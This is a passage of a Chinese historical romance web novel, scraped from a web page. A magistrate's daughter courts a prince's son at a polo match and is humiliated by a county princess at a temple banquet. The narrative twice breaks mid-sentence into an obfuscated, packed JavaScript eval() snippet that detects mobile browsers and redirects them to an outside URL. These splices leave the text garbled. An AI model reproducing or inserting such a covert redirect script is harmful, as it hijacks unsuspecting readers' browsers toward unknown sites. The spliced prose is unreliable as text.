不知什么时候,楼栈已经解决了韩王府的事,牵着一匹白马朝这边走来。 她急切地抠了抠江灵萱掌心,示意自己不想和楼栈在一处。 谢铉耳聪目明,将她的不情愿尽收眼底,心中好笑。 穿着这么招摇,把人勾引来了,又摆出一副贞洁烈女的模样,好似谁能欺负了她。 江灵萱狠狠瞪了自家兄长一眼。 接收到讯号的江砚白立刻挡住楼栈,把他拉到一旁:“楼兄,我的爱驹今日不知怎么回事,精神沉郁、食欲废绝,不然等会儿借你的一用......” “这......” 楼栈很想和晚苓再叙,可江砚白是临安侯府的公子,不好得罪,只能带他去选马。 剩下三人在原地,江灵萱期待地看着谢铉,让他给个准话。 晚苓则期期艾艾,一张小脸犹豫又胆怯。 谢铉跳过江灵萱,对她道:“天气炎热,程姑娘似乎身子不爽,日后再说吧。” 4. 程姑娘真是善解人意 常人都知道,这个“日后”就是婉拒的意思。 江灵萱不大高兴。 瞟了一下谢铉,再看向晚苓,想她再接再励说几句好话,没准谢铉就松口了。 被太阳晒红脸的晚苓没接收到好友的暗示,反而长吁一口气,默默庆幸自己躲过一次出丑的机会。 如果谢铉教她,就会发现她在骑马这方面是个木头,上了马动也不会动,更遑论打马球。 要是摔下来破了相,那可得不偿失。 幸好他没答应。 一声哨起,东门牌头的助阵军奏起锣鼓,众人相互拍了拍肩膀勉励。 谢铉看了一眼,简单几句和其他同伴商量好战术,脱下外袍挂在一旁,踮脚纵身跃上高高的马背。 “我来了我来了......” 江砚白在后头呼喊着,挥鞭扬声赶上去。 “楼家有这种好马鞍,居然不告诉我,次次我都被硌得痛死了,要不是这次偶然看到,还不知道他家有这么软的垫子呢。” 他身下的马鞍,正是先前楼栈极力向晚苓推荐的。 那撮露出来的软兔毛尤其显眼,柔顺温暖,尾端细长,和江砚白的骑射装扮十分不搭。 “行了,一个大男人喊什么痛。” 二人先后挥杆远去,在场上干劲十足,来回跑动。 赤峰如疾风奔驰,鹤立鸡群,根本无需指引,自己就会随着马球而去,用最恰当的方位配合主人击球。 全场的目光几乎都在谢铉身上,牵引着胜利的关键。 晚苓一步三望,和江灵萱回了亭中乘凉。 今日有谢铉在,马场特意清空了闲杂人,只留了些贵族公子和官宦子弟入内。 风起扬帆,旗帜飞扬。 谢铉趁对方夹击的间隙里,转身躲过,鞠杖一扫,毫无意外投入一球。 对面两人苦恼对视一眼,没想到这也被他躲了过去。 听到哨响,各自泄气扔掉手中的鞠杖。 “好样啊明昭,五年没上场,你还是这么厉害,陛下千秋节,少不得让你打头阵,你得给我留个位置才行。”江砚白高兴道。 谢铉冷了他一眼,没说话。 江砚白正诧异他的冷淡,朝一旁看去,明白了什么。 谢铉这是知道了他和灵萱的的计划,不满被算计。 江砚白只能笑笑赔礼:“明昭,灵萱那丫头多狡猾,她想知道的,就算我不说,她也能从别处知道,我好歹是兄长,也只能告诉她。” 上半场结束,谢铉下马。 亲随执玉接过缰绳,他便走到一旁,喝完了整壶水。 “明昭,既然你都知道程姑娘什么意思,那我便不多言了。” 江砚白神清气爽接过小厮递来的冷茶,碰了碰谢铉,示意他看不远处发呆的晚苓。 文文弱弱的小姑娘,平日别说骑马打马球,恐怕连马球什么样都不知道。 偏巧到了他面前,唯唯诺诺用期待的眼神看着他,抓杆的掌心都被汗洇湿了,失落又可怜。 谢铉不置一词,把壶塞到他手里:“没水了。” 江砚白随手扔给下人:“去给二公子拿壶酒来,待会儿赢了球好庆祝庆祝。” 谢铉没管他说什么,照旧吩咐:“只要清淡茶水,不要酒。” 江砚白倒是很顺从他的话,知道谢铉对酒水要求高,马球场的酒水恐怕不足以让谢铉另眼相待,于是也改了口。 此时有其他人上来和他们套近乎。 襄王府功高权重,深得圣宠,平时没有攀关系的机会便罢了。 难得谢铉在此,两个想从军走仕途的世家子弟便立刻上来推销自己。 谢铉兴致不大,推脱了几句,独自坐在一旁不出声了。 两人看他如此,又不好明说太多。 世俗男子,除了建功立业,便是美色美酒。 谢铉已有功勋,又是皇侄,陛下爱重非常,想必在这上头也早已没了追求。 既然拒了酒,那就只有美色了。 一人忽然道:“今日马球赛来的人不多,不过我观那处,似乎有一女子,容貌绝丽,身姿娉婷,你们可识得是哪家的?” 另一人笑着接话:“这你都不知道?半年前桥州知府蒙陛下召见,升任户部侍郎,你说的那女子正是程侍郎家独女。” “不过这家门第虽然一般,也不好求,程侍郎可是拒了好多人家,就是不知要寻个什么样的女婿了。” 几人默契看向谢铉,想试探试探他的意思。 若是他喜欢,他们倒可以从中牵线,白得一人情。 若他不喜欢,这般漂亮的女子收入囊中,也不失为美事。 “二公子,您觉得这程氏女如何?” 谢铉看了他一眼,并不搭话。 另一人便道:“要我说,女子何须什么德容妇工去劳碌,脸面漂亮,软玉温香,给咱们男人增添闺趣,就是最大的好处了,二公子,您说是不是?” 谢铉抬起一双黑眸,记住了说话的人。 江砚白知他已在生气边缘,咳嗽一声,起身挡住二人:“张践、付浗,今日我们是来比赛的,旁的事少胡说!” 赶走了两人,小厮准备的茶水刚好奉上。 江砚白主动给谢铉倒了一杯,算是道歉:“明昭,我先前并不知他们是这般轻浮的人。” 张践和付浗都是他的酒肉朋友,原本说好了只是来见识见识,没想到二人在谢铉面前也如此不知收敛,还妄图当掮客攀上襄王府。 他要是知晓二人的真实品行,绝不会让他们到谢铉面前丢人现眼,差点连累自己。 张践和付浗不情不愿退下后,并不死心,路过晚苓身边,不仅多看了几眼,还见礼说了话。 只不过说的什么,江砚白就不知道了。 好在江灵萱一眼就知道他们的目的,挡在晚苓面前,一条软鞭霹雳摆手拒绝,以临安侯府大小姐的威势让他们赶快滚蛋。 晚苓还一脸不知所措,以为那两人确实是因为她眼生好奇,才过来交谈。 江灵萱打发那两人,摸了摸晚苓的手,告诉她那就是两个浪荡子,见色眼开而已,并不值得客气。 谢铉饮了茶,才发现自己刚刚似乎看得久了。 不过这程姑娘欲遮还露、含羞带怯的模样确实难言,又是个傻的,怪不得能惹那么多男子对她追逐不休。 光是他亲眼看着就已经有两回,而他本来就只见了她两回。 效率真是不低。 鄞川侯陆家世代簪缨,族中多重臣,东陵楼家经营着上京两大马场,还有不少的田地农庄。 这两人一个有权一个有钱,而她只见了他一面,就都毫不留情舍弃,看来此女的谋算是真想上天了。 他像是那种被皮相勾得理智都不要的人? 谢铉一脸无情扔下茶杯,松动筋骨再次跨上了马。 这次的球赛同组的两个官宦公子是江砚白的朋友,对面的家世也不虚,还有一位公主府的小公子,只不过有谢铉在,似乎其他人都成了陪衬。 四对四的竞技,成了他一人大杀四方的秀场。 好几次惊险时刻,马儿却如通灵般压着边线疾掠,谢铉松了左手,以单足悬挂,倾身凌空的身姿将将扣球。 旁观者看得目瞪口呆,回过神来便是一阵阵叫好声。 江灵萱欢欣鼓舞拍手助兴,回头看到晚苓又是一脸失望:“刚才多好的机会,你刚刚怎么不多说几句呢?” “我......该说什么?” 晚苓双眼迷茫。 江灵萱怒其不争,哀其不幸,想要骂她几句,又不舍得。 这么一张脸,除了谢铉,谁舍得让她受过冷待和忽略。 在家有长辈千宠万惯,要星星不给月亮,在外有数不尽的世家公子主动上舔着博她一笑,哪里会琢磨讨好男人的话。 谢铉语调一降,她心里就慌慌的,生怕讨人嫌。 不过还好,他没答应,可也没像对宁嘉县主一样不客气。 “你和宁嘉县主比什么?” 江灵萱恨铁不成钢。 “你以为她是真的惦记报恩吗?她是看谢铉有可能成为下任太子,才拿个救命之恩当借口让大长公主提亲,不然你以为大长公主吃饱了撑的去襄王府受二茬气?” “你不同,你是真真切切要报恩的,不报恩,你到下辈子都欠着他的!” 经江灵萱这么一洗脑,晚苓似乎也被说动了。 她这条命都是谢铉救的,怎么能为了一点脸面就把恩情遗忘。 “那我要怎么做?”她重新鼓起勇气。 “爱他,感化他,用你一颗炽热的心,去温暖他冰冷坚硬的身躯!” “......”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371133|199909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这话,怎么听着像前不久她们看过的话本子里写的。 书生怀才不遇,又一次科举落第后,与官家小姐在破庙里相会。 小姐看他心情郁郁,有心安慰,四下无人,一来二去就把跪垫挪到佛像后,初试云雨。 但这对晚苓来说,实在太羞耻了,她要是敢这么做,程侍郎和程夫人会打死......谢铉? 不对不对,他们打不过。 但是他们定会惩罚她。 就像那时,明明是通判家的公子自作多情,隔墙见了她一眼就跑到程府门前直言非卿不娶,祖父祖母却因流言可畏,明知她毫无过错,还是罚她日日跪在祖宗牌位前四个时辰,静心反省。 母亲说,祖母原本并不喜欢出身低微的儿媳。 可她一出生,祖母按着规矩赏赐时瞧了两眼,便觉得这个漂亮的孙女实在可爱,立刻送了几个精明能干的奶妈伺候。 她爹当年还是个七品知县,带她去县衙炫耀,县衙里上到县丞主簿,下到烧火做饭的厨娘,没一个不夸得口干舌燥的。 就算到了上京,七嘴八舌的官眷们仗着出身看不起她们母女,可一旦见了面,就再也说不出话来。 对宁嘉县主都毫不客气的谢铉,对她却是婉言拒绝,重话都没说一句。 晚苓对比了一番自己和宁嘉县主的容貌,觉得还是自己漂亮些。 母亲说的对,美貌确实是第一等重要的。 谢铉他们采用的是五局三胜赛制,打了三局,胜负已毫无悬念。 另一队深受打击,表示再也不要和他当对手。 江砚白拍了拍谢铉的肩膀,朝他后头示意。 不知什么时候,晚苓已经站在他的马儿旁,好奇地打量着赤峰又圆又大的眼眸。 赤峰为色所迷,微微伸长脖颈,低眉顺目用鼻尖贴着她的手轻嗅,亲昵地蹭了又蹭,鼻息温软。 这匹色马! 谢铉闭上眼睛,眼不见为净。 “二公子......” 江灵萱已经告诉过她,大梁国姓为谢,虽无明文规定需避讳,但上京之人称呼谢铉,并不敢叫他谢二,只能称呼二公子或是表字明昭。 晚苓看了一眼谢铉,从画眉手上捧了碗送到他面前:“二公子,这是上京近来新出的雪元子,豆沙蜜糖馅的,冰凉爽口,最适合解热。” 经过一场激烈的比赛,谢铉身上的汗水顺着衣襟潺潺而下,后背都湿透了。 谢铉没接,就这么毫无表情审视着她。 晚苓不知他什么意思,又重复了一遍。 因着第一次主动讨好人,无论是脸还是眼神,都带着朦胧的青涩期盼。 葱白细长的手指微微哆嗦,忐忑不安。 江砚白没带手帕,拿江灵萱的帕子擦汗,见谢铉无动于衷,笑着抢过了碗。 “程姑娘真是善解人意,不介意我热得紧,先吃了吧?” 晚苓先是惊讶,不过很快就想通了他是在为自己解围,眼圈微红:“江大公子喜欢就好。” 脸上写满了落寞之色。 谢铉冷脸转过了眸,亲自收拾马鞍。 待两个女子渐行渐远,江砚白才搁下碗:“谢明昭,你这心肠是不是硬了些?” “好歹那么一个美人在你眼前示好,你就忍心看人家失望?” 谢铉看了眼空无一物的瓷碗,嘴角微微一勾,不无讥讽:“你倒是怜香惜玉,知己无数,什么人都不放过。” 江砚白这副俊俏小生模样,一双桃花眼迷得上京多少女子魂牵梦萦,可惜是个万花丛中过,片叶不沾身的主。 “可别......” “我母亲和程伯母都快成异父异母的好姐妹了,特意嘱咐我要是敢招惹程姑娘就逐出家门。” “再说了,你不喜欢,多的是人喜欢,陆延上回还问我妹妹,怎么最近都不见程妹妹出来,还有楼栈,一个小马场的东家,一官半职都没,居然也向我打听程姑娘有无定亲。” 谢铉白了他一眼,对他说的这些丝毫不感兴趣,一心牵着赤峰走远。 江砚白无奈地摊了摊手,朝自家妹妹微微摇头,表示无能为力。 程姑娘的念想,是遥遥无期了。 怪就怪在谢铉是个油盐不进的,这么多年,除了打仗还真没见他喜欢过什么。 连太子之位都嫌得紧。 5. 是个带毒刺的花 “那是谁家的姑娘?” 马球场西面拾级而上,是方便上京贵人观看马球赛的观景台。 竹帘轻摇,盆栽点缀,凭空多出了几分淡雅清香。 坐在亭中乘凉的妙龄少女见许久未有人应答,偏头凝视着身后的婢女。 婢女左右对视,迟疑答道:“应当是程家的,听闻他家最近和临安侯府走得近。” 少女欣赏着自己指甲上的蔻丹,慢声疑惑:“是么?可我怎么瞧着像是和襄王府走得近呢?” 观景台和谢铉那一处隔得远些,几人的身影大半被树梢挡住。 从此处看,并不能分清晚苓的瓷碗到底是给谢铉,还是给江砚白的。 少女站起身,理了理鬓边的金丝蝴蝶簪,腕上玉镯叮当轻响,随手把青瓷茶盏往旁边一递。 婢女徒手接过,不知怎的,茶盏忽然掉落,碎在青石阶上。 清脆的裂声惊扰了沉浸在马球赛上雍容华贵的老妇人:“宁嘉,发生什么事了?” 宁嘉县主目光萃炼,看了一眼婢女。 不待她开口,那婢女已跪着拼命磕头:“回大长公主,是奴婢手滑惊吓了县主,奴婢有错,求大长公主饶恕!” 帘角的金牡丹香气扑鼻,让人心境平息,失了兴致的昭阳大长公主蛾眉微蹙,很是不满。 “赖婆子,这样不知轻重的人,日后不要进县主院里伺候了。” 这惩罚听起来轻巧,那婢女却像大祸临头一般:“大长公主饶命,奴婢再也不敢了,饶过奴婢这一回,日后奴婢必定当牛做马报答公主府!” 昭阳大长公主早就听多了这等忠义报效之言,丝毫没放在心上。 赖妈妈见她沉默不语,示意后头跟着的两个粗使婆子把人架走。 青石板上还留着几道指甲抓痕,其他婢女虽然同情被押走的人,却并不敢多言。 方才她们看得真切,接茶的手稳稳当当,是宁嘉县主的指甲刻意划破了她的掌心。 新的一轮马球赛已到尾声,这次得胜的是一名蓝衣金领的年轻公子。 骏马前蹄高扬,长嘶一声,蓝衣公子自信挥杆,最后一击入球干净利落。 随着钱都知锣鼓捶定,场上瞬间传来一阵欢呼。 黏着汗水贴在额前的几缕发丝被风一吹,平添了几分不羁,他不甘示弱地看着一旁静观的谢铉,颇有想要一较高下的意思。 “顾菏年纪轻轻便承袭侯爵,风华正茂,也是京中一流。”昭阳大长公主颇为欣慰道。 目光转至宁嘉县主系在谢铉身上的眼神,又叹息:“只是那风姿和出身终不及谢铉天生高贵,出尘绝代,况且......” 况且太子体弱,皇帝又一向喜欢襄王府。 若要过继,必然是从襄王府中挑选。 谢家老大已经定下世子之位,那么这个人选,只能是谢铉。 看过了最好的,退而求其次,难免心有不甘。 从前因为西征的事,两家闹得难看。 一旦谢铉上位,公主府没有依靠,很难兴盛如前。 她拉下脸去襄王府求亲,其一是疼爱孙女,其二自然是为了公主府的前程考虑。 此时,球场上以谢铉居中,得胜的顾菏领着同队的几人上前说话,一群人熙熙攘攘围在他身边。 有些人,生来就是要站在高处的。 哪怕那么多个出色的世家子弟,谢铉也是其中最亮眼的那个,其他人连争锋的可能都没有,所以,又怎么能怪孙女执意要嫁。 “二表哥今日夺了头筹,可喜可贺。” 众人探讨刚刚那一场比赛,兴致处听到这一句,喧闹的声音亘然停止,默契让开了一条道。 宁嘉县主被两名婢女扶着,款款走来,朝谢铉福身:“宁嘉见过二表哥,上次寿宴还未来得及多叙旧,这次听闻表哥夺胜,特意献上贺礼。” 她对着谢铉说话,旁人见礼,也只得到了无视。 这里只有谢铉值得她另眼相待,至于其他人,不过是低人一等的虫子,也就比门外的平头百姓多了姓名。 谢铉微微点头,循着礼仪谢过她的祝贺。 宁嘉县主向随侍的婢女示意,那婢女便恭恭敬敬地献上了一个锦盒,还有一张朱红请帖。 “七日后是浴佛节,祖母于玉华山备下素宴,特遣我来邀王妃娘娘同往共赏,还望二表哥代为转呈。” 昭阳大长公主每年皆会在玉华山的寺庙操办素宴。 美其名曰聆听佛法、放生祈福。 她身份尊贵,但凡收到帖子相邀之人,没有不应允的。 谢铉伸手接过请帖,命执玉收存,转身准备走人,又听她问:“二表哥多年在外,想必也许久未曾看看玉华山的风景了,不知可愿亲临一赏?” 谢铉手持马鞭婉拒:“我受命督察京畿九卫,公务繁忙。” 宁嘉县主似乎早已料到他会如此回应,眸光微转,面上浮起一抹惋惜之色。 “如此,当真是不巧了。” “听闻桥州程家来了个姿容出众的女儿,我心生好奇想见上一见,不知道祖母的邀约,她会不会推辞?” 谢铉眉眼微蹙,未置一词,很快牵过马匹举步离开。 襄王府和公主府不睦已久,旁观者们还以为能看场好戏。 谁知谢铉根本不在乎,顿时索然无味。 想想也是,两家都是上京声名赫赫、举足轻重的名门,即便暗中不和,表面的人情世故也不会失了分寸,叫人看笑话。 顾菏瞧着眼前这一幕,心思触动。 捧着刚赢来的一双雪雁,笑嘻嘻守在宁嘉县主回去的路上。 “县主,顾菏有礼了,听闻县主爱鸟雀,这雁儿若是能入您的眼,也不枉它活一回。” 宁嘉县主仰起下颌,余光扫过他手中提着的雪雁。 谢铉赢的,应当是一对极为难得的赤眉白鹤。 那对鹤被他拿下之后,就交给了执玉,估计是要带回王府。 他一贯不爱花鸟虫鱼这些玩物,也不知最后会落到谁手里。 宁嘉县主皱了皱眉,不愿深想,嘴角却缓缓勾起一抹淡薄笑意:“如此美意,便多谢承恩侯了。” 话音落,婢女上前接过那对雪雁,放进了竹笼中。 玉华山的佛寺地处京郊,山水环绕,景致清幽雅致,一向受京中贵人青睐。 程夫人收到请帖时倒是纳罕。 程家与公主府门第悬殊,素无往来,怎么忽然送这么一张帖子。 就算疑惑,公主府的帖子也不是那么好接的,若是不去,难免落下个不敬之罪。 昨日下了雨,草色葱茏,车轮碾过软绵绵的泥土,多了几分惬意与舒适。 晚苓原以为今日宴会必定宾客如云,可到地方一瞧,出乎意料地安静。 几十辆马车依次停靠在寺门之前,入寺的只有各家女眷,小厮与车夫皆被安置在山门外休憩。 进了寺庙,两个膀大腰圆的婆子把画眉等婢女拦在侧门,直言昭阳大长公主不喜生人,她们只能在殿外等候。 晚苓有几分困惑,其他贵女和官眷已经见怪不怪,各自嘱咐下人切勿生事。 古寺中宏伟别致,巍峨的宝殿和朱红色的殿柱映入眼帘。 红瓦青砖处生有不少绿石苔,在日光下闪烁着微光,别有一番远离尘嚣的寂静深远之感。 江灵萱闹肚子未能前来,晚苓人生地不熟,紧紧跟在公主府的婆子身后,随众人一同拜见了昭阳大长公主。 周遭静谧清幽,晚苓跪在蒲团上祷告,听到身边几个妇人聊天,才明了为何寺里如此清净。 大长公主亲临,提前三日就有侍卫层层把守,在山口处拦截上香的善男信女。 就连平日里居于寺内潜心清修的山客也要被迫收拾行囊搬离,免得惊扰尊驾。 皇家威严,果然不容侵犯。 上完香,寺中的僧人为她点上几滴净瓶甘露在额上驱邪。 晚苓出了大殿。 公主府的侍从早已忙碌开来,把各家带来的竹笼、藤筐一一打开,赶着里面的活禽飞走。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371134|199909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>抬眼望去,远处山峦连绵起伏,山间云雾缭绕。 飞禽扑腾翅膀,重获自由后立刻直飞冲天,盘旋散入林中。 其中有双纯白雪雁,晚苓听到婢女特意交代,是宁嘉县主带来的,要最后放。 关于宁嘉县主的为人,晚苓曾向江灵萱打听过。 她只冷冷讽刺一句:“美则美矣,却是个带毒刺的花,以后你见到她,不说远远躲开,也是能避则避。” 晚苓好奇:“这是什么说法?” 江灵萱道:“之前有个市井妇人,只是不小心弄脏了她的衣裙,就被她处以极刑,曝尸荒野,她府里的下人,哪个身上没有几条伤疤。” 听起来不太好惹啊,晚苓暗自警醒,默默收敛了好奇。 不过宁嘉县主应该还不知道她心中的打算吧? 在追到谢铉之前,她可得捂紧脖子。 万一得罪了公主府的人,父亲可不能像在桥州一样护着她了。 宴会上人多口杂,晚苓谨记江灵萱的叮嘱,特意挑了一袭素净淡雅的衣衫,力求低调行事。 只她这出众的容貌,肌肤胜雪,眉目轻灵,就算再低调,也有人频频侧目,忍不住多看几眼。 “这便是程侍郎家那位声名在外的女儿了?” 响铃般清脆的女声传来,晚苓蓦然心惊,抬眼一望,只觉金光熠熠,华丽的金线牡丹锦和玲珑珠玉像是要刺瞎眼一般。 旁边有认识她的,主动替她回答:“回县主,不错,这就是入京不久的程氏女,县主可要请她来问话。” 宁嘉县主怀中抱着一只通体雪白的猫儿,没有应声,而是慵懒从座椅起身,莲步轻移,曼妙朝她走来。 金色锦缎长裙逶迤拖地,宛如霞光满天。 脸上妆容精致透亮,对比晚苓的素净白衫,更显迫人之极。 晚苓行礼问安:“见过县主。” 宁嘉县主转了半圈停下脚步,道:“果真是好颜色,叫人见之难忘。” 明明是夸赞的话,声色也颇为平常,但仔细听来,似乎多了一丝若有若无的嘲讽。 就在她想着要怎么回答时,宁嘉县主怀中那只眼眸幽绿的白猫嗅到了什么,前爪猛然一蹬,挣脱了她的怀抱,张牙舞爪扑在晚苓裙上。 晚苓见状,瞬间瞪大了眼睛,下意识往后踉跄两步,声音颤抖:“县主,这猫......” 不同于寻常女子惧怕虫蚁鼠类,晚苓最害怕的,是那些发狂的猫儿狗儿。 幼时她曾见亲眼目睹下人被狗咬后,整个人变得疯癫失常,追着人咬,口中流涎,行为可怖,没过三天就浑身破溃而死。 那猫儿在宁嘉县主手中,她尚且能忍着。 如今扑到她脚下,叫她整个人都战栗不止,恨不得立刻拔腿就跑。 “程姑娘是......讨厌团儿?” 宁嘉县主唇角轻勾,似笑非笑,目光悠悠落在那只折腾裙摆的白猫上。 “这可是祖母最爱的猫,程姑娘足下可得当心了,若是伤了它,祖母可是要生气的。” “......” 晚苓咽了咽口水,强装镇定道:“县主恕罪,我、我并非此意。” “那程姑娘,可愿帮我抱起团儿哄哄?” 语调柔若春风,不知为何听在晚苓耳中,反倒如魔铃一般让人恐惧。 “不愿意?” “……不是。” 晚苓咬了咬下唇,缓缓俯身,朝那只来回嗅探的白猫哆哆嗦嗦伸手。 好不容易克服心理障碍,两只手抱起它,那猫儿又骤然发狂。 锋利的爪子划过手背,很快就渗出了一条鲜红的血迹,在白皙的肌肤上显得格外刺眼。 “嘶——”晚苓忍痛收回手。 看好戏的见状,不禁开口:“都说大长公主的猫儿爱洁,普通婢女都近不了身,没想到连程姑娘这般美人它也嫌弃。” 另一个道:“或是另有缘由呢?猫儿对气息最为敏锐,空有一副容貌,若心思不正,凡人看不出,猫儿却能嗅得出。” 6. 她们欺负你了? 这话一出,周围顿时响起一阵窃窃私语。 众人的目光在晚苓身上来回打量。 此次素宴,受邀之人大多与公主府交情匪浅,宁嘉县主有意为难,她们自然见风使舵。 晚苓凝眉看了眼出声的人,眼眶泛红,咬了咬牙,默默收回泪水。 手背上那道血迹殷红,抓心挠肺似的痛,可恨的是痛也不能有半分不悦或厌恶,只能强忍着委屈低声请罪:“县主,这猫儿认生,我怕是哄不了......” 宁嘉县主轻挑秀眉。 她刚蹲下身,白猫便顺势爬上她的手,动作十分亲昵。 “这猫儿确实如妙莲所言,除了祖母和我,从不与下人亲近,原以为它喜欢程姑娘才跑到你脚下,没想到也不能例外......” 白猫温顺乖巧,闭着眼睛侧靠在宁嘉县主的臂弯里,哪还有半点凶神恶煞的模样。 至于被称作妙莲的女子,听了宁嘉县主的话后,更加得意了。 “猫儿随主,自然知晓谁才是最尊贵的,有些人空有一副皮囊,可惜终究是皮囊,一见真章立刻就不做数了......” 她一边说着,一边斜眼瞟向晚苓,眼中满是轻蔑。 宁嘉县主笑而不语,温柔摸着白猫顺毛。 听了许久,终于慢悠悠开口打断:“妙莲,程姑娘初来乍到,第一回参加我们的宴会,不可无礼。” 然后又吩咐婢女将公主府准备的酸梅汤端上来解渴。 在此之前,晚苓从未参加过如此煎熬的宴会。 身旁不是世家侯爵的公子小姐,便是什么皇亲国戚,花红柳绿相映成群,眼神中带着审视与不屑,却又无人愿意与她交谈。 他们奉承着宁嘉县主,夸她怀里的猫儿时,还要顺带贬低一句这猫儿通灵性。 似乎那猫不肯让她抱,是因为她的错。 可她有何错? 她就不该来这儿陌生的地境,让一堆不认识的人对她指指点点。 在襄王府都比这好受多了,起码襄王妃和老太妃还夸了她一句长得好看,其他人自恃身份,即便心有不屑,也不会明目张胆地将鄙夷与轻视表露出来。 泥人还有三分土性,晚苓见她们人多势众,不想争执,屈了屈身子行礼:“县主,我身子不适,先退下了。” 宁嘉县主抚着白猫并未阻拦,默默看着她离开。 古木门外微风轻吹,裙摆招摇,愈发衬得她身形单薄又弱小,随时都要被吹跑一样。 晚苓一走,围在她身旁的几个姑娘便肆无忌惮地笑了起来。 “这程家的果然小里小气,人也呆呆木木的,连县主一根头发丝都比不上,萦娘,你说是不是?” 萦娘很自然接过妙莲的话:“我看呐,她是够弱的,县主既然不喜她,为何还要让她来,不过她这么丢人现眼,看着也有趣,我看外头还有不少家丁马夫,不如吓她一吓......” 她眨眼朝宁嘉县主示意。 但宁嘉县主只是低头抚了抚猫儿脊背上的毛,神色平静,好像并没听进去。 阿谀奉承,踩高捧低,拈酸折辱,原就是她们这群喜欢挑事儿的女子最擅长的。 宁嘉县主平日也不怎么与她们往来,今日忍着嫌恶听她们挑拨离间,指桑骂槐,假装看不出她们心底那点可笑的想法。 希望这个程晚苓,不要让她无聊才好。 过了会儿,她放下手里的白猫,轻描淡写道:“去吧。” 后院是一处环境优美的园子。 山上引下的清泉潺潺流淌,水质澄澈,寺中僧人喝水都是到此处。 今日僧人们在前殿给大长公主念经,自然没人行走。 晚苓蹲下身,望着波光粼粼的水面,想痛快哭一场,又怕被人看见说三道四。 水流拂过伤口,带来一丝微微的刺痛,晚苓取出手帕,仔细包扎好。 明明已经不怎么出血,可一个人独处时,那份委屈怎么也咽不下,梗在喉咙里。 在这种地界,伤春悲秋都有可能被人添油加醋议论,最好的方法,就是抹干净眼泪回家,日后再也不要出现在宁嘉县主眼前。 惹不起,她还躲不起嘛。 可还是很痛...... 泪水再也不受控制,簌簌地滚落下来。 她悲哀地想,万一自己也同那个被疯狗咬伤的人一样,疯癫致死怎么办? 悲伤中,流水迢迢不知何时遮下一片阴影,为她挡住了片刻阳光。 晚苓抬头一看,甚觉惊讶:“二公子?你怎么在这儿?” 谢铉身着一袭玄色衣裳,身姿挺拔,安静看着她,似乎已经站了许久。 看她眼神失落迷离,拧眉无奈道:“路过。” 晚苓不是很相信。 不过这地方也不是她专属,路过就路过吧。 “你的眼睛......”谢铉皱眉,没有继续说了。 “......” 晚苓摸了摸脸,淡薄素妆几乎被太阳晒化了,混着泪痕,黏糊糊湿哒哒的,发髻也有几分松散,像初秋飘落的柳条,萧瑟难堪。 完了,这副狼狈不堪的模样实在不可见人。 可唯一的帕子已经用来包扎伤口,只能用袖子拭去泪水:“对不起,我失礼了,二公子切勿见怪。” 鼻音滞涩,把少女柔弱的腔调变得更加楚楚可怜,好似风雨过后的娇花,浑身青淤,飘摇无依。 “她们欺负你了?”谢铉一语中的。 面对他通神般猜测,晚苓睁大双眸,眼泪也忘了擦:“你怎么知道?” 谢铉眼中都是对她的鄙夷:“你手上的伤口告诉我的。” “......”原来是这样。 晚苓不知道他怎会忽然出现,想来公主府也邀请了襄王府。 但她问江灵萱时,她说谢铉不会来这种地方。 所以晚苓才没料到会遇见他。 且他看起来,似乎不怎么高兴。 谢铉正色道:“不喜欢和她们相处,就不要应下帖子,即便来了,见一面也可以直接走人,不必时时刻刻听那些人的话委屈自己。” 上京讲究出身,尤其是那几户自诩百年世家的虚爵,哪怕族中子弟没个顶用的,都还宣扬着祖辈荣耀。 程家虽不是寒门白丁,但来京尚短,根基浅薄,被她们看不起也是意料之中。 不过......她真是太软弱了些,性子不够稳重,而且......也太没有骨气,任人欺负也不懂反抗。 前些日子还搔首弄姿,勾得楼栈和陆延心心念念。 如今不过受了点挫折,整个人就像骤雨打湿的海棠,没了精气神。 谢铉再次叹了口气。 晚苓拿不定他什么意思,蹙着眉头仰望。 两把小睫毛扇子微微颤动,惹人怜爱,仿佛轻轻一碰便会碎掉。 谢铉再度看了眼她手上那道小伤,只觉得她怎么能这么娇贵,微不足道的深度,连血都没有出几滴,就活像要死了一般悲戚。 他在战场上被人横扫一枪,背后捅一刀,都还能奋勇反杀。 上京里头的女子,不就是几句夹枪带棒的尖酸之语。 骂不过就打,打不过就跑,哭哭啼啼算什么? 真是惹人心烦。 他道:“你既然不喜欢,那便直接回去吧,拜佛放生而已,心意到了就行,又不是什么重要的事,何至于把自己弄成这个样子。” “二公子,你有所不知......” 谢铉少见地对自己说这么长的话语,虽然全是劝诫之语。 她只觉一股暖流汇入心中,只是其中夹杂的刀子,隐隐刺痛她这颗脆弱的心。 “我若贸然离去,势必得罪宁嘉县主,她若是在大长公主面前出言诋毁,阻拦我父亲前程怎么办?” 江灵萱告诫过她,公主府权势滔天,昭阳大长公主不满的人,想方设法也会拉下马。 父亲兢兢业业半辈子,好不容易得了这个三品侍郎的职位,因自己鲁莽任性毁于一旦,她怎能心安。 还有桥州程家上下,若是被牵连,她可真成了家族罪人。 谢铉闻言淡淡地看了她一眼,也没说什么,那眼神似乎觉得她不可理喻。 晚苓想解释,恰在此时,不远处传来一声呼喊:“苓妹妹?” 江言之一路小跑过来,满脸欣喜若狂:“灵萱病了,我以为你也不会来了,早知如此,我便该去程家接你!” 江言之的母亲,正是晚苓的表姑,程家在上京为 